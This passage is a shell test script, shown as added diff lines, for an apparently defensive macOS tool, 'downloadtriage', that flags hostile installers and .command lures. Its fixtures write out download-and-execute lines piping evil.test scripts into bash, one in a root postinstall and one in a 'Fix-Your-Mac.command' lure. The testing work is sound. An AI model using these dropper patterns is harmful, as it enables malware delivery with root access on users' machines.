"$TMP/s_hostile" "$TMP/s_benign" "$TMP/dl" +echo payload > "$TMP/root/README.txt" + +# postinstall that downloads and executes — runs as root at install time +cat > "$TMP/s_hostile/postinstall" <<'EOF' +#!/bin/bash +curl -fsSL https://evil.test/stage2.sh | bash +exit 0 +EOF +# an ordinary postinstall that must NOT be called hostile +cat > "$TMP/s_benign/postinstall" <<'EOF' +#!/bin/bash +mkdir -p /usr/local/share/myapp +chown root:wheel /usr/local/share/myapp +exit 0 +EOF +chmod +x "$TMP/s_hostile/postinstall" "$TMP/s_benign/postinstall" + +pkgbuild --quiet --root "$TMP/root" --scripts "$TMP/s_hostile" \ + --identifier com.clickfixkit.test.hostile --version 1 "$TMP/dl/Hostile.pkg" 2>/dev/null +pkgbuild --quiet --root "$TMP/root" --scripts "$TMP/s_benign" \ + --identifier com.clickfixkit.test.benign --version 1 "$TMP/dl/Benign.pkg" 2>/dev/null + +# a .command lure — double-clicking one of these opens Terminal and runs it +printf '#!/bin/bash\ncurl -fsSL https://evil.test/x.sh | sh\n' > "$TMP/dl/Fix-Your-Mac.command" +chmod +x "$TMP/dl/Fix-Your-Mac.command" + +# an ordinary document that must stay quiet +printf 'just some notes about curl and bash\n' > "$TMP/dl/notes.txt" + +check() { + if [ "$2" -eq 1 ]; then + printf ' %sok%s %s\n' "$G" "$X" "$1"; pass=$((pass + 1)) + else + printf ' %sx%s %s\n' "$R" "$X" "$1"; fail=$((fail + 1)) + printf ' output was:\n'; sed 's/^/ /' "$TMP/out.txt" | head -14 + fi +} + +run() { zsh "$DT" "$@" >"$TMP/out.txt" 2>&1; printf '%s' "$?"; } + +printf 'downloadtriage — installer and double-click delivery paths\n\n' + +# --- 1. the root-escalation case ------------------------------------------- +rc="$(run "$TMP/dl/Hostile.pkg")" +grep -q 'run as ROOT' "$TMP/out.txt" && r=1 || r=0 +check "hostile .pkg: postinstall flagged, and says it runs as ROOT" "$r" + +grep -q 'evil.test/stage2.sh' "$TMP/out.txt" && r=1 || r=0 +check "hostile .pkg: the actual script is shown to the user" "$r" + +[ "$rc" = "2" ] && r=1 || r=0 +check "hostile .pkg: exits 2" "$r" + +# The script must be reported through the SHARED grammar, not a private regex. +grep -qi 'pipes it straight into' "$TMP/out.txt" && r=1 || r=0 +check "hostile .pkg: explanation comes from the shared grammar" "$r" + +# --- 2. no crying wolf ------------------------------------------------------ +run "$TMP/dl/Benign.pkg" >/dev/null +grep -q 'grammar found nothing hostile' "$TMP/out.txt" && r=1 || r=0 +check "benign .pkg: install script is NOT called hostile" "$r" + +rc="$(run "$TMP/dl/notes.txt")" +[ "$rc" = "0" ] && r=1 || r=0 +check "a plain .txt mentioning curl and bash exits 0" "$r" + +# --- 3. the double-click lure ---------------------------------------------- +rc="$(run "$TMP/dl/Fix-Your-Mac.command")" +grep -q 'Double-clicking this RUNS it' "$TMP/out.txt" && r=1 || r=0 +check ".command: warns that double-clicking executes it" "$r" + +grep -q 'download-and-execute' "$TMP/out.txt" && r=1 || r=0 +check ".command: contents run through the grammar and flagged" "$r" + +[ "$rc" = "2" ] && r=1 || r=0 +check ".command: exits 2" "$r" + +# --- 4. it must never execute anything -------------------------------------- +# The fixtures would touch this marker if their scripts ever ran. +printf '#!/bin/bash\ntouch %s/EXECUTED\nexit 0\n' "$TMP" > "$TMP/s_hostile/postinstall" +chmod +x "$TMP/s_hostile/postinstall" +pkgbuild --quiet --root "$TMP/root" --scripts "$TMP/s_hostile" \ + --identifier com.clickfixkit.test.marker --version 1 "$TMP/dl/Marker.pkg" 2>/dev/null +run "$TMP/dl/Marker.pkg" >/dev/null +[ ! -e "$TMP/EXECUTED" ] && r=1 || r=0 +check "expanding a .pkg does NOT execute its install scripts" "$r" + +# --- 5. directory sweep ----------------------------------------------------- +rc="$(run --all "$TMP/dl")" +grep -q 'Hostile.pkg' "$TMP/out.txt" && grep -q 'Fix-Your-Mac.command' "$TMP/out.txt" && r=1 || r=0 +check "directory sweep finds both the .pkg and the .command" "$r" + +# --- 6. json mode is parseable --------------------------------------------- +zsh "$DT" --json "$TMP/dl/Hostile.pkg" > "$TMP/out.json" 2>/dev/null +python3 -c "import json,sys; d=json.load(open('$TMP/out.json')); sys.exit(0 if d['flagged']>=1 else 1)" 2>/dev/null && r=1 || r=0 +check "--json emits valid JSON with a flagged count" "$r" + +printf '\n' +if [ "$fail" -eq 0 ]; then + printf '%s%d/%d%s downloadtriage checks pass.\n' "$G" "$pass" "$pass" "$X"; exit 0 +fi +printf '%s%d/%d%s pass — %d FAILED.\n' "$R" "$pass" "$((pass + fail))" "$X" "$fail" +exit 1